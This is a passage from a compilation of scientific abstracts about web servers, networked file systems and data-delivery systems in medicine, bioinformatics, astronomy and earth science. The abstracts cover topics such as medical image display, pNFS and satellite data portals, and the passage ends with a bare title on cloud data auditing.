Low cost image delivery is needed in modern networked hospitals. If a hospital has hundreds of clients, cost of client systems is a big problem. Naturally, a Web-based system is the most effective solution. But a Web browser could not display medical images with certain image processing such as a lookup table transformation. We developed a Web-based medical image display system using Web browser and on-demand server-side image processing. All images displayed on a Web page are generated from DICOM files on a server, delivered on-demand. User interaction on the Web page is handled by a client-side scripting technology such as JavaScript. This combination makes a look-and-feel of an imaging workstation not only for its functionality but also for its speed. Real time update of images with tracing mouse motion is achieved on Web browser without any client-side image processing which may be done by client-side plug-in technology such as Java Applets or ActiveX. We tested performance of the system in three cases. Single client, small number of clients in a fast speed network, and large number of clients in a normal speed network. The result shows that there are very slight overhead for communication and very scalable in number of clients.

FAF-Drugs3: a web server for compound property calculation and chemical library design

PubMed Central

Lagorce, David; Sperandio, Olivier; Baell, Jonathan B.; Miteva, Maria A.; Villoutreix, Bruno O.

2015-01-01

Drug attrition late in preclinical or clinical development is a serious economic problem in the field of drug discovery. These problems can be linked, in part, to the quality of the compound collections used during the hit generation stage and to the selection of compounds undergoing optimization. Here, we present FAF-Drugs3, a web server that can be used for drug discovery and chemical biology projects to help in preparing compound libraries and to assist decision-making during the hit selection/lead optimization phase. Since it was first described in 2006, FAF-Drugs has been significantly modified. The tool now applies an enhanced structure curation procedure, can filter or analyze molecules with user-defined or eight predefined physicochemical filters as well as with several simple ADMET (absorption, distribution, metabolism, excretion and toxicity) rules. In addition, compounds can be filtered using an updated list of 154 hand-curated structural alerts while Pan Assay Interference compounds (PAINS) and other, generally unwanted groups are also investigated. FAF-Drugs3 offers access to user-friendly html result pages and the possibility to download all computed data. The server requires as input an SDF file of the compounds; it is open to all users and can be accessed without registration at http://fafdrugs3.mti.univ-paris-diderot.fr. PMID:25883137

3dRPC: a web server for 3D RNA-protein structure prediction.

PubMed

Huang, Yangyu; Li, Haotian; Xiao, Yi

2018-04-01

RNA-protein interactions occur in many biological processes. To understand the mechanism of these interactions one needs to know three-dimensional (3D) structures of RNA-protein complexes. 3dRPC is an algorithm for prediction of 3D RNA-protein complex structures and consists of a docking algorithm RPDOCK and a scoring function 3dRPC-Score. RPDOCK is used to sample possible complex conformations of an RNA and a protein by calculating the geometric and electrostatic complementarities and stacking interactions at the RNA-protein interface according to the features of atom packing of the interface. 3dRPC-Score is a knowledge-based potential that uses the conformations of nucleotide-amino-acid pairs as statistical variables and that is used to choose the near-native complex-conformations obtained from the docking method above. Recently, we built a web server for 3dRPC. The users can easily use 3dRPC without installing it locally. RNA and protein structures in PDB (Protein Data Bank) format are the only needed input files. It can also incorporate the information of interface residues or residue-pairs obtained from experiments or theoretical predictions to improve the prediction. The address of 3dRPC web server is http://biophy.hust.edu.cn/3dRPC. yxiao@hust.edu.cn.

Initial results of centralized autonomous orbit determination of the new-generation BDS satellites with inter-satellite link measurements

NASA Astrophysics Data System (ADS)

Tang, Chengpan; Hu, Xiaogong; Zhou, Shanshi; Liu, Li; Pan, Junyang; Chen, Liucheng; Guo, Rui; Zhu, Lingfeng; Hu, Guangming; Li, Xiaojie; He, Feng; Chang, Zhiqiao

2018-01-01

Autonomous orbit determination is the ability of navigation satellites to estimate the orbit parameters on-board using inter-satellite link (ISL) measurements. This study mainly focuses on data processing of the ISL measurements as a new measurement type and its application on the centralized autonomous orbit determination of the new-generation Beidou navigation satellite system satellites for the first time. The ISL measurements are dual one-way measurements that follow a time division multiple access (TDMA) structure. The ranging error of the ISL measurements is less than 0.25 ns. This paper proposes a derivation approach to the satellite clock offsets and the geometric distances from TDMA dual one-way measurements without a loss of accuracy. The derived clock offsets are used for time synchronization, and the derived geometry distances are used for autonomous orbit determination. The clock offsets from the ISL measurements are consistent with the L-band two-way satellite, and time-frequency transfer clock measurements and the detrended residuals vary within 0.5 ns. The centralized autonomous orbit determination is conducted in a batch mode on a ground-capable server for the feasibility study. Constant hardware delays are present in the geometric distances and become the largest source of error in the autonomous orbit determination. Therefore, the hardware delays are estimated simultaneously with the satellite orbits. To avoid uncertainties in the constellation orientation, a ground anchor station that "observes" the satellites with on-board ISL payloads is introduced into the orbit determination. The root-mean-square values of orbit determination residuals are within 10.0 cm, and the standard deviation of the estimated ISL hardware delays is within 0.2 ns. The accuracy of the autonomous orbits is evaluated by analysis of overlap comparison and the satellite laser ranging (SLR) residuals and is compared with the accuracy of the L-band orbits. The results indicate that the radial overlap differences between the autonomous orbits are less than 15.0 cm for the inclined geosynchronous orbit (IGSO) satellites and less than 10.0 cm for the MEO satellites. The SLR residuals are approximately 15.0 cm for the IGSO satellites and approximately 10.0 cm for the MEO satellites, representing an improvement over the L-band orbits.

WhopGenome: high-speed access to whole-genome variation and sequence data in R.

PubMed

Wittelsbürger, Ulrich; Pfeifer, Bastian; Lercher, Martin J

2015-02-01

The statistical programming language R has become a de facto standard for the analysis of many types of biological data, and is well suited for the rapid development of new algorithms. However, variant call data from population-scale resequencing projects are typically too large to be read and processed efficiently with R's built-in I/O capabilities. WhopGenome can efficiently read whole-genome variation data stored in the widely used variant call format (VCF) file format into several R data types. VCF files can be accessed either on local hard drives or on remote servers. WhopGenome can associate variants with annotations such as those available from the UCSC genome browser, and can accelerate the reading process by filtering loci according to user-defined criteria. WhopGenome can also read other Tabix-indexed files and create indices to allow fast selective access to FASTA-formatted sequence files. The WhopGenome R package is available on CRAN at http://cran.r-project.org/web/packages/WhopGenome/. A Bioconductor package has been submitted. lercher@cs.uni-duesseldorf.de. © The Author 2014. Published by Oxford University Press. All rights reserved. For Permissions, please e-mail: journals.permissions@oup.com.

A trace-driven analysis of name and attribute caching in a distributed system

NASA Technical Reports Server (NTRS)

Shirriff, Ken W.; Ousterhout, John K.

1992-01-01

This paper presents the results of simulating file name and attribute caching on client machines in a distributed file system. The simulation used trace data gathered on a network of about 40 workstations. Caching was found to be advantageous: a cache on each client containing just 10 directories had a 91 percent hit rate on name look ups. Entry-based name caches (holding individual directory entries) had poorer performance for several reasons, resulting in a maximum hit rate of about 83 percent. File attribute caching obtained a 90 percent hit rate with a cache on each machine of the attributes for 30 files. The simulations show that maintaining cache consistency between machines is not a significant problem; only 1 in 400 name component look ups required invalidation of a remotely cached entry. Process migration to remote machines had little effect on caching. Caching was less successful in heavily shared and modified directories such as /tmp, but there weren't enough references to /tmp overall to affect the results significantly. We estimate that adding name and attribute caching to the Sprite operating system could reduce server load by 36 percent and the number of network packets by 30 percent.

Designing a data portal for synthesis modeling

NASA Astrophysics Data System (ADS)

Holmes, M. A.

2006-12-01

Processing of field and model data in multi-disciplinary integrated science studies is a vital part of synthesis modeling. Collection and storage techniques for field data vary greatly between the participating scientific disciplines due to the nature of the data being collected, whether it be in situ, remotely sensed, or recorded by automated data logging equipment. Spreadsheets, personal databases, text files and binary files are used in the initial storage and processing of the raw data. In order to be useful to scientists, engineers and modelers the data need to be stored in a format that is easily identifiable, accessible and transparent to a variety of computing environments. The Model Operations and Synthesis (MOAS) database and associated web portal were created to provide such capabilities. The industry standard relational database is comprised of spatial and temporal data tables, shape files and supporting metadata accessible over the network, through a menu driven web-based portal or spatially accessible through ArcSDE connections from the user's local GIS desktop software. A separate server provides public access to spatial data and model output in the form of attributed shape files through an ArcIMS web-based graphical user interface.

Strategies for Sharing Seismic Data Among Multiple Computer Platforms

NASA Astrophysics Data System (ADS)

Baker, L. M.; Fletcher, J. B.

2001-12-01

Seismic waveform data is readily available from a variety of sources, but it often comes in a distinct, instrument-specific data format. For example, data may be from portable seismographs, such as those made by Refraction Technology or Kinemetrics, from permanent seismograph arrays, such as the USGS Parkfield Dense Array, from public data centers, such as the IRIS Data Center, or from personal communication with other researchers through e-mail or ftp. A computer must be selected to import the data - usually whichever is the most suitable for reading the originating format. However, the computer best suited for a specific analysis may not be the same. When copies of the data are then made for analysis, a proliferation of copies of the same data results, in possibly incompatible, computer-specific formats. In addition, if an error is detected and corrected in one copy, or some other change is made, all the other copies must be updated to preserve their validity. Keeping track of what data is available, where it is located, and which copy is authoritative requires an effort that is easy to neglect. We solve this problem by importing waveform data to a shared network file server that is accessible to all our computers on our campus LAN. We use a Network Appliance file server running Sun's Network File System (NFS) software. Using an NFS client software package on each analysis computer, waveform data can then be read by our MatLab or Fortran applications without first copying the data. Since there is a single copy of the waveform data in a single location, the NFS file system hierarchy provides an implicit complete waveform data catalog and the single copy is inherently authoritative. Another part of our solution is to convert the original data into a blocked-binary format (known historically as USGS DR100 or VFBB format) that is interpreted by MatLab or Fortran library routines available on each computer so that the idiosyncrasies of each machine are not visible to the user. Commercial software packages, such as MatLab, also have the ability to share data in their own formats across multiple computer platforms. Our Fortran applications can create plot files in Adobe PostScript, Illustrator, and Portable Document Format (PDF) formats. Vendor support for reading these files is readily available on multiple computer platforms. We will illustrate by example our strategies for sharing seismic data among our multiple computer platforms, and we will discuss our positive and negative experiences. We will include our solutions for handling the different byte ordering, floating-point formats, and text file ``end-of-line'' conventions on the various computer platforms we use (6 different operating systems on 5 processor architectures).

The USGODAE Monterey Data Server

NASA Astrophysics Data System (ADS)

Sharfstein, P.; Dimitriou, D.; Hankin, S.

2005-12-01

The USGODAE Monterey Data Server (http://www.usgodae.org/) has been established at the Fleet Numerical Meteorology and Oceanography Center (FNMOC) as an explicit U.S. contribution to GODAE. The server is operated with oversight and funding from the Office of Naval Research (ONR). Support of the GODAE Monterey Data Server is accomplished by a cooperative effort between FNMOC and NOAA's Pacific Marine Environmental Laboratory (PMEL) in the on-going development of the GODAE server and the support of a collaborative network of GODAE assimilation groups. This server hosts near real-time in-situ oceanographic data available from the Global Telecommunications System (GTS) and other FTP sites, atmospheric forcing fields suitable for driving ocean models, and unique GODAE data sets, including demonstration ocean model products. It supports GODAE participants, as well as the broader oceanographic research community, and is becoming a significant node in the international GODAE program. GODAE is envisioned as a global system of observations, communications, modeling and assimilation, which will deliver regular, comprehensive information on the state of the oceans in a way that will promote and engender wide utility and availability of this resource for maximum benefit to society. It aims to make ocean monitoring and prediction a routine activity in a manner similar to weather forecasting. GODAE will contribute to an information system for the global ocean that will serve interests from climate and climate change to ship routing and fisheries. The USGODAE Server is developed and operated as a prototypical node for this global information system. Presenting data with a consistent interface and ensuring its availability in the maximum number of standard formats is one of the primary challenges in hosting the many diverse formats and broad range of data used by the GODAE community. To this end, all USGODAE data sets are available in their original format via HTTP and FTP. In addition, USGODAE data are served using Local Data Manager (LDM), THREDDS cataloging, OPeNDAP, and GODAE Live Access Server (LAS) from PMEL. Every effort is made to serve USGODAE data through the standards specified by the National Virtual Ocean Data System (NVODS) and the Integrated Ocean Observing System Data Management and Communications (IOOS/DMAC) specifications. USGODAE serves FNMOC GRIB files from the Navy Operational Global Atmospheric Prediction System (NOGAPS) and the Coupled Ocean/Atmosphere Mesoscale Prediction System (COAMPS) as OPeNDAP data sets using the GrADS Data Server (GDS). The server also provides several FNMOC custom IEEE binary format high resolution ocean analysis products and model outputs through GDS. These data sets are also made available through LAS. The Server functions as one of two Argo Global Data Assembly Centers (GDACs), hosting the complete collection of quality-controlled Argo temperature/salinity profiling float data. The Argo collection includes all available Delayed-Mode (scientific quality controlled and corrected) data. USGODAE Argo data are served through OPeNDAP and LAS, which provide complete integration of the Argo data set into NVODS and the IOOS/DMAC. By providing researchers flexible, easy access to data through standard Internet and oceanographic interfaces, the USGODAE Monterey Data Server has become an invaluable resource for oceanographic research. Also, by promoting the community data serving projects, USGODAE strengthens the community and helps to advance the data serving standards.

Data Processing Factory for the Sloan Digital Sky Survey

NASA Astrophysics Data System (ADS)

Stoughton, Christopher; Adelman, Jennifer; Annis, James T.; Hendry, John; Inkmann, John; Jester, Sebastian; Kent, Steven M.; Kuropatkin, Nickolai; Lee, Brian; Lin, Huan; Peoples, John, Jr.; Sparks, Robert; Tucker, Douglas; Vanden Berk, Dan; Yanny, Brian; Yocum, Dan

2002-12-01

The Sloan Digital Sky Survey (SDSS) data handling presents two challenges: large data volume and timely production of spectroscopic plates from imaging data. A data processing factory, using technologies both old and new, handles this flow. Distribution to end users is via disk farms, to serve corrected images and calibrated spectra, and a database, to efficiently process catalog queries. For distribution of modest amounts of data from Apache Point Observatory to Fermilab, scripts use rsync to update files, while larger data transfers are accomplished by shipping magnetic tapes commercially. All data processing pipelines are wrapped in scripts to address consecutive phases: preparation, submission, checking, and quality control. We constructed the factory by chaining these pipelines together while using an operational database to hold processed imaging catalogs. The science database catalogs all imaging and spectroscopic object, with pointers to the various external files associated with them. Diverse computing systems address particular processing phases. UNIX computers handle tape reading and writing, as well as calibration steps that require access to a large amount of data with relatively modest computational demands. Commodity CPUs process steps that require access to a limited amount of data with more demanding computations requirements. Disk servers optimized for cost per Gbyte serve terabytes of processed data, while servers optimized for disk read speed run SQLServer software to process queries on the catalogs. This factory produced data for the SDSS Early Data Release in June 2001, and it is currently producing Data Release One, scheduled for January 2003.

BrainIACS: a system for web-based medical image processing

NASA Astrophysics Data System (ADS)

Kishore, Bhaskar; Bazin, Pierre-Louis; Pham, Dzung L.

2009-02-01

We describe BrainIACS, a web-based medical image processing system that permits and facilitates algorithm developers to quickly create extensible user interfaces for their algorithms. Designed to address the challenges faced by algorithm developers in providing user-friendly graphical interfaces, BrainIACS is completely implemented using freely available, open-source software. The system, which is based on a client-server architecture, utilizes an AJAX front-end written using the Google Web Toolkit (GWT) and Java Servlets running on Apache Tomcat as its back-end. To enable developers to quickly and simply create user interfaces for configuring their algorithms, the interfaces are described using XML and are parsed by our system to create the corresponding user interface elements. Most of the commonly found elements such as check boxes, drop down lists, input boxes, radio buttons, tab panels and group boxes are supported. Some elements such as the input box support input validation. Changes to the user interface such as addition and deletion of elements are performed by editing the XML file or by using the system's user interface creator. In addition to user interface generation, the system also provides its own interfaces for data transfer, previewing of input and output files, and algorithm queuing. As the system is programmed using Java (and finally Java-script after compilation of the front-end code), it is platform independent with the only requirements being that a Servlet implementation be available and that the processing algorithms can execute on the server platform.

SCE&G Cope Station simulator training program development

DOE Office of Scientific and Technical Information (OSTI.GOV)

Stottlemire, J.L.; Fabry, R.

1996-11-01

South Carolina Electric and Gas Company made a significant investment into meeting the needs of their customers in designing and building the new fossil Generating Station near Cope, South Carolina. Cope Station is a state-of-the-art, 385 MW plant, with equipment and design features that will provide the plant with the capabilities of achieving optimum availability and capability. SCE&G has also implemented a team concept approach to plant organization at Cope Station. The modern plant design, operating philosophy, and introduction of a large percentage of new operations personnel presented a tremendous challenge in preparing for plant commissioning and commercial operation. SCE&G`smore » answer to this challenge was to hire an experienced operations trainer, and implement a comprehensive training program. An important part of the training investment was the procurement of a plant specific control room simulator. SCE&G, through tailored collaboration with the Electric Power Research Institute (EPRI), developed a specification for a simulator with the features necessary for training the initial plant staff as well as advanced operator training. The high-fidelity CRT based training simulator is a stimulated system that completely and accurately simulates the various plant systems, process startups, shutdowns, normal operating scenarios, and malfunctions. The process model stimulates a Foxboro Distributed Control System consisting of twelve control processors, five WP51 work stations, and one AW51 file server. The workstations, file server and support hardware and software necessary to interface with ESSCOR`s FSIM4 software was provided by Foxoboro.« less

Using Open and Interoperable Ways to Publish and Access LANCE AIRS Near-Real Time Data

NASA Astrophysics Data System (ADS)

Zhao, P.; Lynnes, C.; Vollmer, B.; Savtchenko, A. K.; Yang, W.

2011-12-01

Atmospheric Infrared Sounder (AIRS) Near-Real Time (NRT) data from the Land Atmosphere Near real time Capability for EOS (LANCE) provide the information on the global and regional atmospheric state with very low latency. An open and interoperable platform is useful to facilitate access to and integration of LANCE AIRS NRT data. This paper discusses the use of open-source software components to build Web services for publishing and accessing AIRS NRT data in the context of Service Oriented Architecture (SOA). The AIRS NRT data have also been made available through an OPeNDAP server. OPeNDAP allows several open-source netCDF-based tools such as Integrated Data Viewer, Ferret and Panoply to directly display the Level 2 data over the network. To enable users to locate swath data files in the OPeNDAP server that lie within a certain geographical area, graphical "granule maps" are being added to show the outline of each file on a map of the Earth. The metadata of AIRS NRT data and services is then explored to implement information advertisement and discovery in catalogue systems. Datacasting, an RSS-based technology for accessing Earth Science data and information to facilitate the subscriptions to AIRS NRT data availability, filtering, downloading and viewing data, is also discussed. To provide an easy entry point to AIRS NRT data and services, a Web portal designed for customized data downloading and visualization is introduced.

Robo-line storage: Low latency, high capacity storage systems over geographically distributed networks

NASA Technical Reports Server (NTRS)

Katz, Randy H.; Anderson, Thomas E.; Ousterhout, John K.; Patterson, David A.

1991-01-01

Rapid advances in high performance computing are making possible more complete and accurate computer-based modeling of complex physical phenomena, such as weather front interactions, dynamics of chemical reactions, numerical aerodynamic analysis of airframes, and ocean-land-atmosphere interactions. Many of these 'grand challenge' applications are as demanding of the underlying storage system, in terms of their capacity and bandwidth requirements, as they are on the computational power of the processor. A global view of the Earth's ocean chlorophyll and land vegetation requires over 2 terabytes of raw satellite image data. In this paper, we describe our planned research program in high capacity, high bandwidth storage systems. The project has four overall goals. First, we will examine new methods for high capacity storage systems, made possible by low cost, small form factor magnetic and optical tape systems. Second, access to the storage system will be low latency and high bandwidth. To achieve this, we must interleave data transfer at all levels of the storage system, including devices, controllers, servers, and communications links. Latency will be reduced by extensive caching throughout the storage hierarchy. Third, we will provide effective management of a storage hierarchy, extending the techniques already developed for the Log Structured File System. Finally, we will construct a protototype high capacity file server, suitable for use on the National Research and Education Network (NREN). Such research must be a Cornerstone of any coherent program in high performance computing and communications.

Research on mixed network architecture collaborative application model

NASA Astrophysics Data System (ADS)

Jing, Changfeng; Zhao, Xi'an; Liang, Song

2009-10-01

When facing complex requirements of city development, ever-growing spatial data, rapid development of geographical business and increasing business complexity, collaboration between multiple users and departments is needed urgently, however conventional GIS software (such as Client/Server model or Browser/Server model) are not support this well. Collaborative application is one of the good resolutions. Collaborative application has four main problems to resolve: consistency and co-edit conflict, real-time responsiveness, unconstrained operation, spatial data recoverability. In paper, application model called AMCM is put forward based on agent and multi-level cache. AMCM can be used in mixed network structure and supports distributed collaborative. Agent is an autonomous, interactive, initiative and reactive computing entity in a distributed environment. Agent has been used in many fields such as compute science and automation. Agent brings new methods for cooperation and the access for spatial data. Multi-level cache is a part of full data. It reduces the network load and improves the access and handle of spatial data, especially, in editing the spatial data. With agent technology, we make full use of its characteristics of intelligent for managing the cache and cooperative editing that brings a new method for distributed cooperation and improves the efficiency.

eF-seek: prediction of the functional sites of proteins by searching for similar electrostatic potential and molecular surface shape.

PubMed

Kinoshita, Kengo; Murakami, Yoichi; Nakamura, Haruki

2007-07-01

We have developed a method to predict ligand-binding sites in a new protein structure by searching for similar binding sites in the Protein Data Bank (PDB). The similarities are measured according to the shapes of the molecular surfaces and their electrostatic potentials. A new web server, eF-seek, provides an interface to our search method. It simply requires a coordinate file in the PDB format, and generates a prediction result as a virtual complex structure, with the putative ligands in a PDB format file as the output. In addition, the predicted interacting interface is displayed to facilitate the examination of the virtual complex structure on our own applet viewer with the web browser (URL: http://eF-site.hgc.jp/eF-seek).

Sequence History Update Tool

NASA Technical Reports Server (NTRS)

Khanampompan, Teerapat; Gladden, Roy; Fisher, Forest; DelGuercio, Chris

2008-01-01

The Sequence History Update Tool performs Web-based sequence statistics archiving for Mars Reconnaissance Orbiter (MRO). Using a single UNIX command, the software takes advantage of sequencing conventions to automatically extract the needed statistics from multiple files. This information is then used to populate a PHP database, which is then seamlessly formatted into a dynamic Web page. This tool replaces a previous tedious and error-prone process of manually editing HTML code to construct a Web-based table. Because the tool manages all of the statistics gathering and file delivery to and from multiple data sources spread across multiple servers, there is also a considerable time and effort savings. With the use of The Sequence History Update Tool what previously took minutes is now done in less than 30 seconds, and now provides a more accurate archival record of the sequence commanding for MRO.

Application-Defined Decentralized Access Control

PubMed Central

Xu, Yuanzhong; Dunn, Alan M.; Hofmann, Owen S.; Lee, Michael Z.; Mehdi, Syed Akbar; Witchel, Emmett

2014-01-01

DCAC is a practical OS-level access control system that supports application-defined principals. It allows normal users to perform administrative operations within their privilege, enabling isolation and privilege separation for applications. It does not require centralized policy specification or management, giving applications freedom to manage their principals while the policies are still enforced by the OS. DCAC uses hierarchically-named attributes as a generic framework for user-defined policies such as groups defined by normal users. For both local and networked file systems, its execution time overhead is between 0%–9% on file system microbenchmarks, and under 1% on applications. This paper shows the design and implementation of DCAC, as well as several real-world use cases, including sandboxing applications, enforcing server applications’ security policies, supporting NFS, and authenticating user-defined sub-principals in SSH, all with minimal code changes. PMID:25426493

Development of the Large-Scale Statistical Analysis System of Satellites Observations Data with Grid Datafarm Architecture

NASA Astrophysics Data System (ADS)

Yamamoto, K.; Murata, K.; Kimura, E.; Honda, R.

2006-12-01

In the Solar-Terrestrial Physics (STP) field, the amount of satellite observation data has been increasing every year. It is necessary to solve the following three problems to achieve large-scale statistical analyses of plenty of data. (i) More CPU power and larger memory and disk size are required. However, total powers of personal computers are not enough to analyze such amount of data. Super-computers provide a high performance CPU and rich memory area, but they are usually separated from the Internet or connected only for the purpose of programming or data file transfer. (ii) Most of the observation data files are managed at distributed data sites over the Internet. Users have to know where the data files are located. (iii) Since no common data format in the STP field is available now, users have to prepare reading program for each data by themselves. To overcome the problems (i) and (ii), we constructed a parallel and distributed data analysis environment based on the Gfarm reference implementation of the Grid Datafarm architecture. The Gfarm shares both computational resources and perform parallel distributed processings. In addition, the Gfarm provides the Gfarm filesystem which can be as virtual directory tree among nodes. The Gfarm environment is composed of three parts; a metadata server to manage distributed files information, filesystem nodes to provide computational resources and a client to throw a job into metadata server and manages data processing schedulings. In the present study, both data files and data processes are parallelized on the Gfarm with 6 file system nodes: CPU clock frequency of each node is Pentium V 1GHz, 256MB memory and40GB disk. To evaluate performances of the present Gfarm system, we scanned plenty of data files, the size of which is about 300MB for each, in three processing methods: sequential processing in one node, sequential processing by each node and parallel processing by each node. As a result, in comparison between the number of files and the elapsed time, parallel and distributed processing shorten the elapsed time to 1/5 than sequential processing. On the other hand, sequential processing times were shortened in another experiment, whose file size is smaller than 100KB. In this case, the elapsed time to scan one file is within one second. It implies that disk swap took place in case of parallel processing by each node. We note that the operation became unstable when the number of the files exceeded 1000. To overcome the problem (iii), we developed an original data class. This class supports our reading of data files with various data formats since it converts them into an original data format since it defines schemata for every type of data and encapsulates the structure of data files. In addition, since this class provides a function of time re-sampling, users can easily convert multiple data (array) with different time resolution into the same time resolution array. Finally, using the Gfarm, we achieved a high performance environment for large-scale statistical data analyses. It should be noted that the present method is effective only when one data file size is large enough. At present, we are restructuring the new Gfarm environment with 8 nodes: CPU is Athlon 64 x2 Dual Core 2GHz, 2GB memory and 1.2TB disk (using RAID0) for each node. Our original class is to be implemented on the new Gfarm environment. In the present talk, we show the latest results with applying the present system for data analyses with huge number of satellite observation data files.

A Functional Data Model Realized: LaTiS Deployments

NASA Astrophysics Data System (ADS)

Baltzer, T.; Lindholm, D. M.; Wilson, A.; Putnam, B.; Christofferson, R.; Flores, N.; Roughton, S.

2016-12-01

At prior AGU annual meetings, members of the University of Colorado Laboratory for Atmospheric and Space Physics (LASP) Web Team have described work being done on a functional data model and the software framework called LaTis, that implements it. This presentation describes the evolution of LaTiS and presents several instances of LaTiS in operation today that demonstrate its various capabilities. With LaTiS, serving a new dataset can be a simple as adding a small descriptor file. From providing access to spacecraft telemetry data in a variety of forms for the LASP missions operation group, to providing access to scientific data for the MMS and MAVEN science teams, to server-side functionality such as fusing satellite visible and infrared data along with forecast model data into a Geotiff image for situational awareness purposes, LaTiS has demonstrated itself as a highly flexible, standards-based framework that provides easy data access, dynamic reformatting, and customizable server side functionality.

DOE Office of Scientific and Technical Information (OSTI.GOV)

Yu, Weikuan; Vetter, Jeffrey S

Parallel NFS (pNFS) is touted as an emergent standard protocol for parallel I/O access in various storage environments. Several pNFS prototypes have been implemented for initial validation and protocol examination. Previous efforts have focused on realizing the pNFS protocol to expose the best bandwidth potential from underlying file and storage systems. In this presentation, we provide an initial characterization of two pNFS prototype implementations, lpNFS (a Lustre-based parallel NFS implementation) and spNFS (another reference implementation from Network Appliance, Inc.). We show that both lpNFS and spNFS can faithfully achieve the primary goal of pNFS, i.e., aggregating I/O bandwidth from manymore » storage servers. However, they both face the challenge of scalable metadata management. Particularly, the throughput of sp-NFS metadata operations degrades significanlty with an increasing number of data servers. Even for the better-performing lpNFS, we discuss its architecture and propose a direct I/O request flow protocol to improve its performance.« less

Toyz: A framework for scientific analysis of large datasets and astronomical images

NASA Astrophysics Data System (ADS)

Moolekamp, F.; Mamajek, E.

2015-11-01

As the size of images and data products derived from astronomical data continues to increase, new tools are needed to visualize and interact with that data in a meaningful way. Motivated by our own astronomical images taken with the Dark Energy Camera (DECam) we present Toyz, an open source Python package for viewing and analyzing images and data stored on a remote server or cluster. Users connect to the Toyz web application via a web browser, making it ​a convenient tool for students to visualize and interact with astronomical data without having to install any software on their local machines. In addition it provides researchers with an easy-to-use tool that allows them to browse the files on a server and quickly view very large images (>2 Gb) taken with DECam and other cameras with a large FOV and create their own visualization tools that can be added on as extensions to the default Toyz framework.

A New GRB follow-up Software at TUG

NASA Astrophysics Data System (ADS)

Dindar, M.; Parmaksizoglu, M.; Helhel, S.; Esenoglu, H.; Kirbiyik, H.

2016-12-01

A gamma-ray burst (GRB) optical photometric follow-up system at TUBITAK (Scientic and Technological Research Council of Turkey) National Observatory (TUG) has been planned. It uses the 0.6 m Telescope (T60) and can automatically respond to GRB Coordinates Network (GCN) alerts. The telescopes slew relatively fast, being able to point to a new target field within 30 s upon a request. Whenever available, the 1 m T100 and 2.5 m RTT150 telescopes will be used in the future. As an example in 2015, the GRB software system (will be server side) at T60-telescope responded to GRB alert and started the observation as early as 129 s after the GRB trigger autonomously.

Autoplot: a Browser for Science Data on the Web

NASA Astrophysics Data System (ADS)

Faden, J.; Weigel, R. S.; West, E. E.; Merka, J.

2008-12-01

Autoplot (www.autoplot.org) is software for plotting data from many different sources and in many different file formats. Data from CDF, CEF, Fits, NetCDF, and OpenDAP can be plotted, along with many other sources such as ASCII tables and Excel spreadsheets. This is done by adapting these various data formats and APIs into a common data model that borrows from the netCDF and CDF data models. Autoplot uses a web browser metaphor to simplify use. The user specifies a parameter URL, for example a CDF file accessible via http with a parameter name appended, and the file resource is downloaded and the parameter is rendered in a scientifically meaningful way. When data span multiple files, the user can use a file name template in the URL to aggregate (combine) a set of remote files. So the problem of aggregating data across file boundaries is handled on the client side, allowing simple web servers to be used. The das2 graphics library provides rich controls for exploring the data. Scripting is supported through Python, providing not just programmatic control, but for calculating new parameters in a language that will look familiar to IDL and Matlab users. Autoplot is Java-based software, and will run on most computers without a burdensome installation process. It can also used as an applet or as a servlet that serves static images. Autoplot was developed as part of the Virtual Radiation Belt Observatory (ViRBO) project, and is also being used for the Virtual Magnetospheric Observatory (VMO). It is expected that this flexible, general-purpose plotting tool will be useful for allowing a data provider to add instant visualization capabilities to a directory of files or for general use in the Virtual Observatory environment.

Handling Input and Output for COAMPS

NASA Technical Reports Server (NTRS)

Fitzpatrick, Patrick; Tran, Nam; Li, Yongzuo; Anantharaj, Valentine

2007-01-01

Two suites of software have been developed to handle the input and output of the Coupled Ocean Atmosphere Prediction System (COAMPS), which is a regional atmospheric model developed by the Navy for simulating and predicting weather. Typically, the initial and boundary conditions for COAMPS are provided by a flat-file representation of the Navy s global model. Additional algorithms are needed for running the COAMPS software using global models. One of the present suites satisfies this need for running COAMPS using the Global Forecast System (GFS) model of the National Oceanic and Atmospheric Administration. The first step in running COAMPS downloading of GFS data from an Internet file-transfer-protocol (FTP) server computer of the National Centers for Environmental Prediction (NCEP) is performed by one of the programs (SSC-00273) in this suite. The GFS data, which are in gridded binary (GRIB) format, are then changed to a COAMPS-compatible format by another program in the suite (SSC-00278). Once a forecast is complete, still another program in the suite (SSC-00274) sends the output data to a different server computer. The second suite of software (SSC- 00275) addresses the need to ingest up-to-date land-use-and-land-cover (LULC) data into COAMPS for use in specifying typical climatological values of such surface parameters as albedo, aerodynamic roughness, and ground wetness. This suite includes (1) a program to process LULC data derived from observations by the Moderate Resolution Imaging Spectroradiometer (MODIS) instruments aboard NASA s Terra and Aqua satellites, (2) programs to derive new climatological parameters for the 17-land-use-category MODIS data; and (3) a modified version of a FORTRAN subroutine to be used by COAMPS. The MODIS data files are processed to reformat them into a compressed American Standard Code for Information Interchange (ASCII) format used by COAMPS for efficient processing.

Study on parallel and distributed management of RS data based on spatial database

NASA Astrophysics Data System (ADS)

Chen, Yingbiao; Qian, Qinglan; Wu, Hongqiao; Liu, Shijin

2009-10-01

With the rapid development of current earth-observing technology, RS image data storage, management and information publication become a bottle-neck for its appliance and popularization. There are two prominent problems in RS image data storage and management system. First, background server hardly handle the heavy process of great capacity of RS data which stored at different nodes in a distributing environment. A tough burden has put on the background server. Second, there is no unique, standard and rational organization of Multi-sensor RS data for its storage and management. And lots of information is lost or not included at storage. Faced at the above two problems, the paper has put forward a framework for RS image data parallel and distributed management and storage system. This system aims at RS data information system based on parallel background server and a distributed data management system. Aiming at the above two goals, this paper has studied the following key techniques and elicited some revelatory conclusions. The paper has put forward a solid index of "Pyramid, Block, Layer, Epoch" according to the properties of RS image data. With the solid index mechanism, a rational organization for different resolution, different area, different band and different period of Multi-sensor RS image data is completed. In data storage, RS data is not divided into binary large objects to be stored at current relational database system, while it is reconstructed through the above solid index mechanism. A logical image database for the RS image data file is constructed. In system architecture, this paper has set up a framework based on a parallel server of several common computers. Under the framework, the background process is divided into two parts, the common WEB process and parallel process.

Privacy-preserving public auditing for data integrity in cloud

NASA Astrophysics Data System (ADS)

Shaik Saleem, M.; Murali, M.

2018-04-01

